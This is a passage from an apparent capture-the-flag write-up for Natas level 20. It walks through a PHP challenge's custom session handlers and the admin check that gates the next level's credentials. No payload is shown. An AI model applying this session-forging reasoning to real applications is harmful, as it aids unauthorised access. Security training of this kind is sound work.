2. The print_credentials() function displays user credentials for the next level if the user is logged in as an admin (checked through session data). The username is "natas21," but the password is intentionally censored and not revealed in the output. If the user is not an admin or not logged in, a message prompts them to log in as an admin to view the credentials.

image

Explaining this code

1. The myread($sid) function reads session data from a session file based on the provided session ID ($sid).
2. It checks if the session ID contains only alphanumeric characters and the hyphen ("-"). If the session ID contains any other characters, it's considered invalid, and the function returns an empty string.
3. The function constructs the filename of the session file using the session save path and the provided session ID.
4. If the session file does not exist, the function returns an empty string.
5. The function reads the contents of the session file into the variable $data.
6. It resets the $_SESSION superglobal array to an empty array.
7. It processes each line of the session data, splitting it into key-value pairs using space as a delimiter and populates the $_SESSION array.
8. Finally, the function returns the encoded session data stored in the $_SESSION array, which can be sent back to the client to maintain session state between requests.

image

Explaining this code

1. The mywrite function saves session data to a file with a custom encoding.
2. It checks if the session ID ($sid) contains only alphanumeric characters and hyphens.
3. It constructs the filename using the session save path and the provided session ID.
4. It sorts the session data array ($_SESSION) based on keys in ascending order.
5. It iterates through the sorted session array, concatenates key-value pairs into a string, and saves it as the new $data.
6. The function writes the new $data to the session file.
7. It sets the file permissions of the session file to 0600 (read and write only for the owner).

image

Explaining this code

1. Sets custom session handling functions using session_set_save_handler.
2. Starts or resumes a session using session_start().
3. If the "name" parameter exists in the HTTP request, it sets the "name" session variable to its value and prints a debug message.
4. Calls the print_credentials() function.
5. Checks if the "name" session variable exists and assigns its value to the $name variable.

The sessions are handled by session_set_save_handler and are saved in a directory manually. The print_credentials() prints our desired credentials if $_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1. This means if there’s a $_SESSION variable with a key “admin” and that the key has the value of “1”.